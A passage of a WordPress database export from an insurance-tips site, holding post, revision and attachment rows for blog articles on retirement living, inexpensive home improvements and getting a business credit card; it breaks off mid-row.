(3765,1,'2024-01-24 20:36:34','2024-01-24 20:36:34','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3766,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-47-1024x1024.png\" alt=\"\" class=\"wp-image-3766\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Retirement is a significant life shift that, for many people, marks the beginning of a new era of leisure, personal growth, and quality time with loved ones. Retirement communities are a popular choice for retirees because they offer a variety of benefits that can enhance their general well-being and quality of life.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An in-depth discussion of the benefits of retirement living and why it is an attractive alternative for individuals approaching their golden years will be provided in this article.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">1. SOCIAL INTERACTION AND COMPANIONSHIP</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Living in retirement offers the chance for more frequent social connections and companionship, which is one of its most prominent advantages. After retiring, many seniors experience feelings of isolation or loneliness, especially if they live alone.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Retirement homes have a built-in social network that allows members to participate in various group activities, meet new people, and form deep friendships. The risk of depression and cognitive decline can be decreased thanks to these contacts, which might be crucial for mental and emotional health.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">2. MAINTENANCE-FREE LIVING</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home upkeep may be a big responsibility, especially as one becomes older. Retirement Villages typically offer maintenance and landscaping services, so home maintenance is no longer a hassle. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Residents may live carefree lives Without worrying about chores like mowing the grass, addressing plumbing problems, or shoveling snow. Instead of wasting their valuable time on home tasks, retirees may now concentrate on what they value and love.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">3. SAFETY AND SECURITY</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Retirement communities are created with the residents’ protection and safety in mind. Security guards, guarded entrances, and emergency response systems are frequently present.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With these precautions in place, residents and their families may rest easy knowing that assistance is close in the event of unforeseen circumstances. As one becomes older and possibly more concerned about personal safety, this additional degree of security can be quite soothing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">4. HEALTH AND WELLNESS SERVICES</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A variety of health and wellness services are provided by many retirement communities, which can be quite helpful to senior citizens. Common characteristics include access to healthcare professionals, on-site fitness facilities, and exercise sessions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These programs encourage physical fitness, support residents in leading active lifestyles, and provide the ease of quick access to medical care when required. A fulfilling retirement depends on maintaining a healthy and active lifestyle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">5. GOURMET DINING</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The days of relying only on fast food or cooking every meal from scratch are long gone. Gourmet eating options are frequently available in retirement communities, with on-site restaurants and culinary staff preparing wholesome meals.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This makes it unnecessary for retirees to go grocery shopping and prepare frequently, enabling them to enjoy daily restaurant-quality meals. It provides an opportunity for residents to interact with one another while dining on a range of cuisines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">6. RECREATIONAL AND LEISURE ACTIVITIES</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Retirement communities serve as centers for leisure and recreation. There is something for everyone, whether playing cards, picking up a new pastime, or participating in planned events.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These pursuits keep inhabitants occupied and offer chances for personal development and lifetime passions. Retirement homes encourage members to pursue their interests and stay mentally active by offering everything from art classes to book groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">7. DOWNSIZING AND SIMPLIFICATION</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Downsizing and simplifying one’s living arrangements are appealing retirement features for many people. Moving to a more manageable, smaller home frequently results in less clutter and cheaper living expenses. In addition, it allows one to get rid of pointless goods and live a simpler, less-burdened existence.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">EMBRACING RETIREMENT LIVING</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Retirement living has many advantages that can improve older people’s quality of life. These communities cater to retirees’ particular requirements and preferences, from encouraging social relationships to offering a safe and maintenance-free environment.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The benefits of retirement life go beyond practicality; they also include the enhancement of one’s physical, emotional, and mental well-being. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebraggingmommy.com/what-are-the-benefits-of-retirement-living/\">click here.</a></p>\n<!-- /wp:paragraph -->','What Are the Benefits of Retirement Living?','','publish','closed','closed','','what-are-the-benefits-of-retirement-living','','','2024-01-24 20:36:34','2024-01-24 20:36:34','',0,'https://smartinsurance.tips/?p=3765',0,'post','',0),(3766,1,'2024-01-24 20:35:44','2024-01-24 20:35:44','','Untitled-47','','inherit','closed','closed','','untitled-47','','','2024-01-24 20:35:44','2024-01-24 20:35:44','',3765,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-47.png',0,'attachment','image/png',0),(3767,1,'2024-01-24 20:36:34','2024-01-24 20:36:34','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3766,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-47-1024x1024.png\" alt=\"\" class=\"wp-image-3766\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Retirement is a significant life shift that, for many people, marks the beginning of a new era of leisure, personal growth, and quality time with loved ones. Retirement communities are a popular choice for retirees because they offer a variety of benefits that can enhance their general well-being and quality of life.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An in-depth discussion of the benefits of retirement living and why it is an attractive alternative for individuals approaching their golden years will be provided in this article.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">1. SOCIAL INTERACTION AND COMPANIONSHIP</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Living in retirement offers the chance for more frequent social connections and companionship, which is one of its most prominent advantages. After retiring, many seniors experience feelings of isolation or loneliness, especially if they live alone.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Retirement homes have a built-in social network that allows members to participate in various group activities, meet new people, and form deep friendships. The risk of depression and cognitive decline can be decreased thanks to these contacts, which might be crucial for mental and emotional health.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">2. MAINTENANCE-FREE LIVING</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home upkeep may be a big responsibility, especially as one becomes older. Retirement Villages typically offer maintenance and landscaping services, so home maintenance is no longer a hassle. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Residents may live carefree lives Without worrying about chores like mowing the grass, addressing plumbing problems, or shoveling snow. Instead of wasting their valuable time on home tasks, retirees may now concentrate on what they value and love.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">3. SAFETY AND SECURITY</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Retirement communities are created with the residents’ protection and safety in mind. Security guards, guarded entrances, and emergency response systems are frequently present.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With these precautions in place, residents and their families may rest easy knowing that assistance is close in the event of unforeseen circumstances. As one becomes older and possibly more concerned about personal safety, this additional degree of security can be quite soothing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">4. HEALTH AND WELLNESS SERVICES</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A variety of health and wellness services are provided by many retirement communities, which can be quite helpful to senior citizens. Common characteristics include access to healthcare professionals, on-site fitness facilities, and exercise sessions.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These programs encourage physical fitness, support residents in leading active lifestyles, and provide the ease of quick access to medical care when required. A fulfilling retirement depends on maintaining a healthy and active lifestyle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">5. GOURMET DINING</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The days of relying only on fast food or cooking every meal from scratch are long gone. Gourmet eating options are frequently available in retirement communities, with on-site restaurants and culinary staff preparing wholesome meals.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This makes it unnecessary for retirees to go grocery shopping and prepare frequently, enabling them to enjoy daily restaurant-quality meals. It provides an opportunity for residents to interact with one another while dining on a range of cuisines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">6. RECREATIONAL AND LEISURE ACTIVITIES</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Retirement communities serve as centers for leisure and recreation. There is something for everyone, whether playing cards, picking up a new pastime, or participating in planned events.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These pursuits keep inhabitants occupied and offer chances for personal development and lifetime passions. Retirement homes encourage members to pursue their interests and stay mentally active by offering everything from art classes to book groups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">7. DOWNSIZING AND SIMPLIFICATION</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Downsizing and simplifying one’s living arrangements are appealing retirement features for many people. Moving to a more manageable, smaller home frequently results in less clutter and cheaper living expenses. In addition, it allows one to get rid of pointless goods and live a simpler, less-burdened existence.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">EMBRACING RETIREMENT LIVING</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Retirement living has many advantages that can improve older people’s quality of life. These communities cater to retirees’ particular requirements and preferences, from encouraging social relationships to offering a safe and maintenance-free environment.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The benefits of retirement life go beyond practicality; they also include the enhancement of one’s physical, emotional, and mental well-being. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebraggingmommy.com/what-are-the-benefits-of-retirement-living/\">click here.</a></p>\n<!-- /wp:paragraph -->','What Are the Benefits of Retirement Living?','','inherit','closed','closed','','3765-revision-v1','','','2024-01-24 20:36:34','2024-01-24 20:36:34','',3765,'https://smartinsurance.tips/?p=3767',0,'revision','',0),(3768,1,'2024-01-24 20:38:44','2024-01-24 20:38:44','<!-- wp:paragraph -->\n<p>A few simple, inexpensive home improvements can add major value to your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3769,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-48-1024x1024.png\" alt=\"\" class=\"wp-image-3769\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If you’ve just purchased a home, you’re likely still reeling from the long list of initial costs that come along with homeownership. While you’re focusing on replenishing your savings account and getting accustomed to paying a mortgage, you might not be ready to gut your kitchen and bathrooms and take on a major home overhaul. However, if you have some cash left over after closing, a few simple, inexpensive home improvements can add value to your home and bring it more in line with your tastes. Consider making these updates in your first year of homeownership:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Make basic repairs.</strong>&nbsp;Don’t let that torn screen door or leaky window drive you crazy for years. Go ahead and fix things that are broken before or shortly after you move into your home. You’ll thank yourself later.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Paint.</strong>&nbsp;Painting is one of the simplest, most cost-effective home improvements out there. If you plan to live in your home for a long time, feel free to go wild with color: Paint your kitchen fuchsia and your bedroom lime green if you want to. But if you might only live in your home for a few years, keep resale in mind and choose neutral colors that will appeal to a large pool of buyers. Neutral doesn’t have to mean bland: Beiges, greens and other earth tones are all universally appealing, yet still stylish.<br><br>Also, don’t think of paint as something that’s just for walls. Have outdated, dark wood cabinets? Roll a coat of crisp, white paint on them for an instant kitchen update.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Install new floors.</strong>&nbsp;If your home has carpeting or linoleum that still looks dingy even after a thorough cleaning, new floors could be a great investment. When it comes to resale, hardwood is a timeless option that appeals to most buyers, but it can be expensive. If you want the look of hardwood for less, laminate flooring is a great alternative. And there’s also cork, carpet tiles, vinyl and many other options to suit all tastes and budgets.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Spruce up your ceilings.</strong>&nbsp;Popcorn ceilings were once all the rage, but these days, they make a home look outdated. Fortunately, popcorn ceilings can be remedied. Just visit a local hardware store for a solution to soften the texture, and then scrape the popcorn away. It\'ll bring your house into the new millennium with minimal cost and effort.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Update fixtures and hardware.</strong>&nbsp;Lighting, faucets and doorknobs may seem like details that only the most nitpicky of homeowners would notice, but outdated or cheap fixtures can really affect the overall look of a home. If your home’s brass chandeliers make you feel like you’re stuck in the \'80s, replace them. Even inexpensive options can give your home a much more contemporary look.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Add low-cost landscaping.</strong>&nbsp;Shrubs and colorful plants add beauty and value to your home, but maintaining a landscaped lawn can seem daunting. When you’re shopping at the local garden center, purchase plants that are native to your region or water-conserving, drought-tolerant vegetation. These require less water and maintenance, which means you\'ll save time and have a little more green in your yard&nbsp;<em>and</em>&nbsp;your wallet.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Go green.</strong> Eco-friendly home improvements are a great investment because they add value to your home and save you money in the long run. There are lots of ways to make your home more energy efficient, ranging from simple fixes like adding weather stripping to doors to keep drafts out, to large updates like installing solar panels or a tankless water heater. </li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.hgtv.com/lifestyle/real-estate/5-types-of-neighbors-and-how-to-handle-them\">click here.</a></p>\n<!-- /wp:paragraph -->','7 Affordable Updates That Add to Your Home Value','','publish','closed','closed','','7-affordable-updates-that-add-to-your-home-value','','','2024-01-24 20:38:44','2024-01-24 20:38:44','',0,'https://smartinsurance.tips/?p=3768',0,'post','',0),(3769,1,'2024-01-24 20:37:47','2024-01-24 20:37:47','','Untitled-48','','inherit','closed','closed','','untitled-48-2','','','2024-01-24 20:37:47','2024-01-24 20:37:47','',3768,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-48.png',0,'attachment','image/png',0),(3770,1,'2024-01-24 20:38:44','2024-01-24 20:38:44','<!-- wp:paragraph -->\n<p>A few simple, inexpensive home improvements can add major value to your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3769,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-48-1024x1024.png\" alt=\"\" class=\"wp-image-3769\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>If you’ve just purchased a home, you’re likely still reeling from the long list of initial costs that come along with homeownership. While you’re focusing on replenishing your savings account and getting accustomed to paying a mortgage, you might not be ready to gut your kitchen and bathrooms and take on a major home overhaul. However, if you have some cash left over after closing, a few simple, inexpensive home improvements can add value to your home and bring it more in line with your tastes. Consider making these updates in your first year of homeownership:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Make basic repairs.</strong>&nbsp;Don’t let that torn screen door or leaky window drive you crazy for years. Go ahead and fix things that are broken before or shortly after you move into your home. You’ll thank yourself later.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Paint.</strong>&nbsp;Painting is one of the simplest, most cost-effective home improvements out there. If you plan to live in your home for a long time, feel free to go wild with color: Paint your kitchen fuchsia and your bedroom lime green if you want to. But if you might only live in your home for a few years, keep resale in mind and choose neutral colors that will appeal to a large pool of buyers. Neutral doesn’t have to mean bland: Beiges, greens and other earth tones are all universally appealing, yet still stylish.<br><br>Also, don’t think of paint as something that’s just for walls. Have outdated, dark wood cabinets? Roll a coat of crisp, white paint on them for an instant kitchen update.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Install new floors.</strong>&nbsp;If your home has carpeting or linoleum that still looks dingy even after a thorough cleaning, new floors could be a great investment. When it comes to resale, hardwood is a timeless option that appeals to most buyers, but it can be expensive. If you want the look of hardwood for less, laminate flooring is a great alternative. And there’s also cork, carpet tiles, vinyl and many other options to suit all tastes and budgets.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Spruce up your ceilings.</strong>&nbsp;Popcorn ceilings were once all the rage, but these days, they make a home look outdated. Fortunately, popcorn ceilings can be remedied. Just visit a local hardware store for a solution to soften the texture, and then scrape the popcorn away. It\'ll bring your house into the new millennium with minimal cost and effort.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Update fixtures and hardware.</strong>&nbsp;Lighting, faucets and doorknobs may seem like details that only the most nitpicky of homeowners would notice, but outdated or cheap fixtures can really affect the overall look of a home. If your home’s brass chandeliers make you feel like you’re stuck in the \'80s, replace them. Even inexpensive options can give your home a much more contemporary look.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Add low-cost landscaping.</strong>&nbsp;Shrubs and colorful plants add beauty and value to your home, but maintaining a landscaped lawn can seem daunting. When you’re shopping at the local garden center, purchase plants that are native to your region or water-conserving, drought-tolerant vegetation. These require less water and maintenance, which means you\'ll save time and have a little more green in your yard&nbsp;<em>and</em>&nbsp;your wallet.<br></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Go green.</strong> Eco-friendly home improvements are a great investment because they add value to your home and save you money in the long run. There are lots of ways to make your home more energy efficient, ranging from simple fixes like adding weather stripping to doors to keep drafts out, to large updates like installing solar panels or a tankless water heater. </li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.hgtv.com/lifestyle/real-estate/5-types-of-neighbors-and-how-to-handle-them\">click here.</a></p>\n<!-- /wp:paragraph -->','7 Affordable Updates That Add to Your Home Value','','inherit','closed','closed','','3768-revision-v1','','','2024-01-24 20:38:44','2024-01-24 20:38:44','',3768,'https://smartinsurance.tips/?p=3770',0,'revision','',0),(3771,1,'2024-01-24 20:41:38','2024-01-24 20:41:38','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3772,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-49-1024x1024.png\" alt=\"\" class=\"wp-image-3772\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">If you own a small business, you may want to consider getting a business credit card. The increased purchasing power allows you to finance the goods and services your company needs, keeps your business and personal spending separate, and makes reporting your expenses much easier come tax time. To enjoy the financial and operational benefits that come with a business credit card, it’s important to learn what it takes to get one.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A business credit card can help you separate your business and personal expenses&nbsp; and finance your company’s needs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Most business credit card lenders require a personal guarantee, which means you’re on the hook for any balance owed if the business can’t pay.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Business and personal credit cards are similar in many ways, but most provisions within the Truth in Lending Act (TILA) don’t apply to business accounts.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You should compare business credit cards carefully to ensure you get one that meets your business needs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A secured business credit card could be a good option if you have less- than- perfect credit.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-3\">Requirements for a Business Credit Card</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-4\">Every lender will have different requirements for business income, credit score, and other factors. However, you can usually expect a credit card issuer to review both your personal and business credit reports before making a lending decision—especially if your business doesn’t have its own credit history yet. Most business credit card companies will also require a personal guarantee, which means you’re personally liable for any balance or outstanding debt owed if the business can’t pay.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">How Business Credit Cards Work</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">Business credit cards and personal credit cards share several similarities. If approved, you’ll get a revolving line of credit you can use to cover any business need that arises. And just like with your personal cards, you’ll need to:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-9\"><!-- wp:list-item -->\n<li>Manage your business account responsibly by making timely payments.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pay interest on balances you carry over from month to month (unless you’re within an interest-free promotional period).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: Because you may accumulate many expenses on your business credit card, it’s important to obtain cards that offer points and cash-back rewards for travel, shipping costs, and more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, one key distinction between business and personal credit cards is that the Truth in Lending Act (TILA) only applies to business accounts in limited situations. The TILA was passed to ensure that lenders educate consumers about the terms and cost of the credit being issued. Fortunately, two important provisions of the law cover business owners. You can’t be issued a card unless you requested it, and you won’t be held responsible for fraudulent charges exceeding $50 if your card is lost or stolen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-14\">How To Get a Business Credit Card</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">While getting a business credit card may feel daunting, the steps below can help guide you through the process.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-17\">Check Your Credit</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-18\">It’s critical to first check your personal credit report and correct any errors that you find, which can include incorrect personal information, account status, balance, or credit limit.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">You can access your report from each of the three major nationwide credit bureaus for free by visiting AnnualCreditReport.com.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">If you spot an error, write a letter to both the credit bureau and reporting lender disputing the information. Make sure to include any paperwork that supports your claim. Your dispute must be investigated, and you have the right to contact the Consumer Financial Protection Bureau if the mistake doesn’t get fixed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: By catching and fixing mistakes, you can boost your credit score and increase your chances of getting approved for a business credit card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Research Card Options</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">There are many business credit cards on the market, so your next step is to research and compare the different options available. Here are some of the elements you should consider:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-28\"><!-- wp:list-item -->\n<li>Card type (secured, unsecured, low-interest, etc.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Annual percentage rate (APR)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Introductory interest rate&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Promotional interest rate&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fees (annual, late payment, foreign transaction, cash advance, etc.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Rewards (points, airline miles, hotel stays, cash back, etc.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Eligibility requirements (credit score, business income, etc.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Credit reporting (ideally, the card should report to business credit agencies so you can build credit that’s separate from your personal file.)</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">When choosing which card to apply for, think about your business needs and goals. If you’re trying to save every penny and believe you may have to carry a balance, a card with no annual fee and a low interest rate may be your best bet. But, if you’re always traveling to grow and manage your company, a card that earns airline miles or hotel stays could be right for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-32\">Apply for a Card</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Once you’ve identified the right business credit card for your company, it’s time to apply. Each issuer will have its own application form and will require different information to reach a decision. However, you should be prepared to provide several pieces of personal and business information, including your personal annual income, personal credit score, type of business, how long you’ve been in business, annual revenue, federal tax ID, and more.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">Options for Those With Poor or Limited Credit</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">If your credit history isn’t great (or is non-existent), you may still be able to get a business credit card. For example, a business partner with stellar credit could co-sign on the application to increase your chance of approval. But if that’s not an option, consider these others below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">Secured Credit Card</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">A secured credit card is typically easier to qualify for because you have to give the bank a security deposit (hence the name) to open an account. The value of your security deposit becomes your available credit line. Once approved, you can use the card to make purchases.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">Timely payments demonstrate financial responsibility and strengthen your credit profile. If you maintain the account responsibly for long enough, the bank may switch you to an unsecured card, which doesn’t need to be backed by your own money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: If you fail to pay the balance owed or default on a secured business credit card, the issuer can take your security deposit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" 